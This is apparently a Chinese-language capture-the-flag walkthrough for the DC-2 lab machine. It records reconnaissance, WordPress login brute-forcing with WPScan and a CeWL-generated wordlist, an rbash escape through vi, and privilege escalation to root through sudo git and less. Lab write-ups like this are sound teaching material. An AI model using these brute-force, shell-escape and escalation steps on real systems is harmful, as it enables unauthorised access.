侦察#

nmap 扫描得知：

• OS: Debian
• Kernel: Linux 3.2 - 4.14
• Web Server: Apache httpd 2.4.10
• CMS: WordPress 4.7.10
• 开放端口：tcp 80, 7744 (SSH)

看样子要先从 Web 服务下手。

flag1#

注意到这个网站使用的是 WordPress（只要你的视力没有问题）：

第一个 flag 就在首页：

1
Flag
2

3
Flag 1:
4

5
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
6

7
More passwords is always better, but sometimes you just can’t win them all.
8

9
Log in as one to see the next flag.
10

11
If you can’t find it, log in as another.

flag2#

注意到 flag1 提到了 cewl，也许你不认识这个单词，因为这不是个单词…（这里的 cewl 双关了 “cool”）

CeWL^kali 是个自定义字典生成工具：

这里明确说普通的字典不好使，所以要我们用 CeWL 制作一个字典来用。

注意到在这个页面上，我们没有找到任何登录入口。

目录扫描得到：

发现了登录界面：

http://dc-2/wp-login.php

使用 WPScan^kali 扫描得到三个有效用户：

接下来制作字典，

1
echo "admin
2
tom
3
jerry" > user.txt

CeWL 可以根据网站内容制作对应的字典²：

1
cewl http://dc-2/ -w password.txt

通过：

1
wpscan --url http://dc-2/ --usernames user.txt --passwords password.txt threads 20

得到：

• tom -> parturient
• jerry -> adipiscing

登录后注意到 flag2：

flag3#

注意到我们可以用 tom - parturient 通过 7744 端口登录到其服务器：

登录 shell 为 rbash，权限受限。且 $PATH 只有 /home/tom/usr/bin。

查看 /home/tom/usr/bin 得知可以使用：

• less
• ls
• scp
• vi

查看 flag3.txt：

1
vi flag3.txt

1
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
2
flag3.txt (END)

flag4#

根据 flag3，我们需要用 su。

配置别名：

1
alias c="printf '\e[H\e[2J\e[3J'"
2
alias l='ls --color'
3
alias ll='ls --color -lh'
4
alias la='ls --color -A'
5
alias lla='ls --color -lhA'

查看其他用户：

1
less /etc/passwd

通过 vi 逃逸 rbash³：

1
vi -c ':set shell=/bin/bash | shell'

flag4 提示我们找 git。

flag5#

切换到 jerry 账号：

1
su - jerry

密码为之前的：adipiscing

通过 git 提权到 root：⁴

1
sudo git branch --help

再通过 less 执行：

1
!/bin/bash

得到最终 flag：